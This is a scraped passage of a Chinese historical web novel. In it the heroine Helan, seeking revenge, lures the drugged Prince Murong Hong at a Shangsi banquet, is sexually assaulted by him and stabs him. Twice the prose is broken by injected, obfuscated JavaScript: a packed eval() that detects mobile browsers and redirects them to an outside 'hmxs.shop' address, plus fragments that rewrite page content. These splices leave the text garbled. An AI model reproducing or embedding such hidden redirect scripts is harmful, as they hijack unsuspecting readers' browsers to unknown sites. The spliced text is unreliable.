“不想去啊……”慕容泠靠近,低头耳语,“其实孤也舍不得,所以咱们行动要快些了。” 贺兰退了几步,别过脸去。 慕容泠忽然伸手,敲了敲她的额,笑得倜傥:“和孤闹别扭做什么,说得不是实话吗?芜娘,上巳是个好机会,你可有把握?” 贺兰捂着额头,又瞪了慕容泠一眼。若不是还与他有交易,自己真得很想拔腿就跑。 “他一直在服五石散,”贺兰点到为止,说的隐晦,“到时让他多吃些就好。” “芜娘打算自己下手?”慕容泠挑眉。 “我舍了自己为殿下铺路,不好吗?”贺兰的声音舒缓而从容,“殿下只需要布置周密,不然到时前功尽弃,得不偿失。” 慕容泠微微侧过身,窗棂筛出阳光的轮廓,柔柔地落在他的侧脸上,他没眯了眯眸子,说话的声调也变得懒散又模糊:“我派人护着你,你自己莫要作死,为了扳倒他舍了你,未免也太不值了。” …… 贺兰回去的路上,仍在想他后来的那句话。想来想去,也只咂摸出一个意思,慕容泠觉得她这颗棋子尚算趁手,后面还想用她做事。一开始就说好互惠互利,他怎么还没完没了了, 贺兰思来想去,觉得自己更要周到谨慎些,在这件事上少留把柄,莫要让他缠上才好。 …… 转眼到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806599|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上巳日,昭阳台上人声如沸,灯火明亮如昼,映着沉沉夜色,照出席间诸人脸上兴奋沉醉的笑。 御座之上,慕容桓身着朱红色的袍服,含笑接受百官朝贺。殿下大小官员依次就座,觥筹交错间,欢声笑语不绝,一两个风流不羁的,已经跟随舞姬翻飞的舞袖,击节而歌起来。鲜卑人善歌,慷慨之声刚起,便陆陆续续有人应和。慕容桓半眯着眼眸,本已喝的熏然,听到歌声,整了整衣袖坐起。 “拿朕的宝槊来!”他对侍从道。 一把长槊落在手中,当初纵马草原的豪气油然而生,慕容桓跳入台中,随着歌声执槊而舞。 他的舞姿雄浑有力,一双臂膀如草原上展翼而飞的雄鹰,每动一下便有舒展的弧度,他的脚下步伐却沉稳如磐石,踏地时敲击着清脆的节奏。 诸臣见此,气氛更热烈,有几个已有跃跃欲试的冲动。 “阿父,儿臣随你一起。”刚刚被放出的渤海王慕容泓率先道。他今日亦着红衣,不过绛色微沉,比慕容桓的暗了些。幽禁一年,他的身形憔悴了不少,却仍旧高大俊美,有着一张灼灼华艳的脸。 慕容桓对这个长子十分满意,禁不住哈哈大笑,动作更加大开大合,舒展自如。 “陛下对大哥的宠爱真是有增无减啊。”说话的人是高阳王慕容沛,他长得像生母刘夫人,性情也更像舅家。汉话说得不好,更懒得学,整日里斗鸡走马,练得一身孔武之力。 先前刘夫人受宠时,慕容桓也曾偏爱过他,常对人夸赞这个儿子秉性憨直,勇猛豪爽,很有草原男儿风范。慕容沛因此越发骄矜,结交朝臣也不避讳,身边陆续笼络起不少前朝旧臣,附势小人。 对于慕容泓被放出,最不满意的便是他,直言讥讽已是压抑过的结果。 听到这句话,慕容泠只是笑了笑,没有接下去。 他的眼神不期然落在御座之旁,皇后固然凤仪万千,但她身旁那个托腮娇笑的女子却更妩媚动人。 她穿了一件织锦的半臂,下面系着条鲜艳的石榴裙,慕容泠第一次见她穿这样夺目的颜色,更别说见过她给脸上描画过这般妍媚的妆容了。 妖孽! 他的眸子剧烈地缩了缩,心弦控制不住的颤动。轻轻阖上双眸,荡在胸口的异样情绪才勉强平静了下来。 贺兰本在与皇后说笑,见时机已到,问宫人讨过琵琶,轻快地随乐而和。 那人果然注意到了他,原本只是看了几眼,在触到她含羞微怯的模样时,舞步都仓促凌乱了几分。 贺兰故作不知,拨弦的动作娇俏灵动,一抬眸,秋水微横,荡漾起春光柔旖。 慕容泓停了舞蹈,准备向着她的方向走来。却忽见贺兰怔怔看着自己,猛地停了琵琶,怯怯向后缩去。 皇后注意到了她的异常,低头询问,而她不知对皇后说了句什么,然后提着裙子一溜烟逃离。 慕容泓心口燥热难抑,回席后灌了几口酒,想了想,招手示意近侍过来,对着他耳语了一番。 36. 三十六、上巳宴(2) 贺兰知道身后有人跟着,虽然心里早有准备,但还是免不了紧张。可是走到这一步,她已经没有任何退路。 报仇之路何其艰难,先前燕关筹谋已经觉得万无一失,可还是败了,慕容泓杀亲妹,坏邦交,也不过是幽禁一年,放出来时仍旧嚣张跋扈,受尽恩宠。 她不过是个一无所有的弱女子,先前亦做过举刀刺杀的事情,可还未伤害对方分毫,自己先被捆在树上打了个半死。若非容貌尚可,仍有些利用价值,此时早就是孤魂野鬼一个了。 她多期望阿母阿兄在天有灵,能保佑她报仇顺遂一些。她不怕死,只怕死前看不到仇人殒命,江山倾覆。 “素商,帮我去回禀皇后殿下,就说落玉池东侧的辛夷开得好,我想摘一些入药为她治头疾,就先不回席了。”贺兰对素商说道。 素商犹豫,望着不远处的殿宇,踟蹰半晌。 “还不快去。”贺兰推了素商一把,“我就在那里等你,若是不见,你知道该怎么说的。” 夜色漆漆,如森然兽口,很快就将素商的背影吞没。 贺兰拿出腰间的香囊,深深嗅了一口,紫苏和留兰的味道,让她灵台分外清明。 很快,她就听到了身后越来越近的脚步。 “芜娘!”这一声响在暗夜里,直让她汗毛倒数。仿佛罗刹索命的调子,曾经无数次响在耳边,每每出现,便是最深的噩梦。 贺兰控制不住地拔腿便跑。 可是她哪里逃离的了。不过几个呼吸,她就被一只手臂横过腰间,拎了起来,然后牢牢困在了对方的怀里。 浑浊的酒气喷洒在脖颈处,引得她浑身战栗,头晕恶心。 “芜娘,你让本王好找啊!”慕容泓啮着贺兰的耳朵,一下又一下,语气里藏也藏不住的威胁,“你当真有本事……” “殿下!”贺兰确定自己的声音在发抖,真实的发抖。 “不对,应该说你好胆量,连本王都敢算计,莫不是觉得本王会被困一辈子?”他的手凉凉地落在贺兰的脖颈上,像是吐着芯子的蛇。 “阿芜不敢,殿下何出此言?”贺兰装傻,向后缩了缩,想要拜托慕容泓的钳制。 终究徒劳! 以前她反抗不了,现在同样。无数屈辱的回忆纷至沓来,贺兰忍不住,泪流满面。 “芜娘,你知道的,我想杀你易如反掌。”慕容泓气息滚烫,身上的袍子半散着,素白的中单被他扯得凌乱,露出胸前大片肌肤。 贺兰知道,他已服下了五石散。 她勉力说服自己不要害怕,旋即伸出手,轻柔地捉住了慕容泓的手,声音低柔:“阿芜是殿下的人,不管殿下信不信,你被幽禁后,阿芜心急如焚,恨不得以身相替。” 慕容泓的眼睛落在她纤白如玉的手指上,嘲讽地说道:“你觉得本王是傻子吗?以身相替……” 他忽然哈哈大笑了起来,一把捏紧了贺兰的脖颈。 “谁听你的鬼话,今日本王心情好,给你个了断。”说罢,他狠狠使力,抬起贺兰的脸,让她的恐惧和无望都暴露在自己面前。 贺兰的泪簌簌如雨,有几滴落在他的手上。 “殿下要杀便杀,妾无话可说。”她闭上眼睛,倔强地仰着头。 这一瞬,慕容泓生出些破坏的心思。体内的灼热叫嚣出无法纾解的欲望,周身血液在胸口横冲直撞,他觉得喉口燥热难耐,无法自控。 “我不直接杀你……”他露出一口白牙,森然可怖,“你见过猫吃老鼠吗?我会将你一点一点玩坏,然后再让你死。” 贺兰睁眼,望着他身后不远处星星点点的火光,那是他的随从,就这样看着主人的恶习,无人肯施以援手。 “殿下,阿芜知错了……”她抽噎道,手缓缓抚摸在慕容泓的胸膛之上。 以往他就喜欢自己恭顺柔弱的样子,若不是足够委曲求全,她也活不到现在。 慕容泓倒吸了一口气。 死到临头还要勾引人,她当真浪荡不堪。 “别拿你对付其他男人的方式来对付本王,萧青芜,你不过是本王玩厌了的。”慕容泓口中如此说,手上的动作却猥琐又急切。 贺兰几乎要将牙齿咬断了。 “大王,此处人多,另寻一处可好?妾也很想殿下……” 贺兰忍着胸口泛出的恶心,说着让人遐想的话。 慕容泓在五石散的驱动下,神智已然不清,如何经得起这般勾引。他不过犹豫了一刹,便抱起贺兰,往前面不远的一处殿宇走去。 “本王带你去个好地方!”他笑道,“你若是喜欢,今后我便将你锁在那里,日日欢好……” 明知他已经不能人道,偏还是被这些话激出了不适的感觉。贺兰甚至怀疑他是不是治好了?或许没有,但他总有无数种方法来折磨人。 贺兰只期盼着救她的人能快些到来。 …… “皇后何故心不在焉?”慕容桓舞完,顺便就坐在了明影身边,见明影脸色不佳,四处张望,不禁开口问道。 明影环顾四周,见慕容泓也失去了踪影,不免想到前些日子贺兰的忧心忡忡。 “陛下,阿芜不见了。”明影沉着脸,回答。 慕容桓无法理解,为什么一个普通的女官都能让她如此牵肠挂肚,可对于坐在眼前的自己,她却总是视而不见。 这种感觉让他愤懑。 又一盏酒倾杯,慕容桓的脸色阴沉如霜,不耐道:“不过是个下臣,丢了就丢了,难道还要你亲自去找?” 明影淡漠地回答:“妾的确想要亲自去找。” 话音刚落,就见一个奴婢匍匐过来,一面叩头一面道:“侍中方才对奴婢说,皇后殿下近来头疾犯了,她想去落玉池边摘些辛夷,为娘娘绣个小枕缓解症状。可是奴婢回头去看,她却不见了。” 明影注意到,这就是一直跟在贺兰身边的小婢。她说得是不见,而不是离开,想来必有隐情。 “皇后头疾犯了,自有御医诊治,她一个女官有什么办法。”慕容桓愈发不悦,揉着脑袋,懒懒道。 明影却对左右侍卫吩咐道:“还不沿着落玉池去找。” 那小婢却不起身,仍趴在地上啜泣。 “有什么就直说,一切有本宫做主。”明影觉察出了什么,语气很焦急。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811248|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小婢瑟瑟抬头,看了一眼皇帝,又恐惧的低下了头,讷讷道:“奴方才看到了渤海王也往那处去了。” 明影听到这个名字,倏然起身,道:“随本宫去看看。” “皇后……”慕容桓的眸光阴凉凉地瞥来,语调虽无太多欺负,但压着说不出的威严,“你是要为了一个女官,毁了朕的宴席吗?” 明影却分毫不怵,迎上他的注视:“一条人命,没有陛下想得那般不值。” 慕容桓捏了捏手中的酒杯,忍了半晌,忽然将它砸到了地上。 席上忽然酒气弥漫,有人已经醉眼朦胧,东倒西歪,但见到御座上帝后的动静,还是一个激灵吓得清醒过来。 明影神色从容无恙,只是淡淡蹙起双眉,道:“陛下饮酒醉了,早些休息吧。” 说罢,理了理衣裙,转身携着人离开。 …… 昭行宫是慕容泓在宫中的临时住处,日常少人侍奉,不过洒扫的十分干净。慕容泓被幽禁后,这里愈发少人来,已经有了荒废之相。 慕容泓踢开门,那朱红色的大门吱呀响了一声,浮起了不少尘灰。 “狗东西,还不点上烛火。”慕容泓怒吼了一声。他似乎忘了这里的仆婢都已被皇帝处死,而他身边的人也被他早早的甩在了身后。 无人理会,只有树上的惊鸟给了回应。 “殿下,莫要点灯。”贺兰缩在他怀中,娇声道。 慕容泓的胸口如被烈火灼烧,烧得他已经失了全部的耐心,他没走几步,干脆直接将贺兰按在了地上,凌乱又仓促地吻着她的脸,她的颈…… 贺兰认命般地闭上眼,为了报仇,她已经失去了太多,她不怕再多失去些什么。一无所有是件好事,至少她不用忌惮未来,不用在意外物。 衣衫的碎裂声响起,她控制不住地弓起了身体,疼得长嘶了一声。 …… 殿外忽然火光骤亮,贺兰听到凌乱的甲胄声和脚步声,这个声音在这样关键的时候,如仙乐一般,让她激动不已。 慕容泓冷了一下,抬起头去看。 正在此时,贺兰忽然拔下了头上的发簪,对着慕容泓的胸口狠狠地刺下。 “狗贼,去死!”她大叫一声,眼看着对方狰狞地捂住伤口,蒲扇般的大掌对着她挥舞而下。 “贱人,你不想活了!”慕容泓的胸口鲜血涌动,他一面骂,一面挣扎着捂着伤口,就算在黑暗中,也能看到他眼中杀意的喷涌。 贺兰大笑,嘴角蜿蜒出一丝鲜血,她顾不上去擦。 外面的声音越来越近,她的笑声也越来越疯。 “慕容泓,一起死吧!”她又取了一根簪子,再次向着慕容泓扑了上去。 她没有得逞,慕容泓攥住她纤细的腕子,将她用力甩开。 闷闷的响声传于空寂的殿里,也传到了殿外之人的耳中。 “何人在此!”殿门被推开,金甲长剑的金吾卫服饰出现在眼前,贺兰扬眉,粲然而笑。 一个皇子临幸女官或许不会有人管,但一个女官刺杀皇子,这总该有人理会了吧!不过,一切好戏才刚开始呢……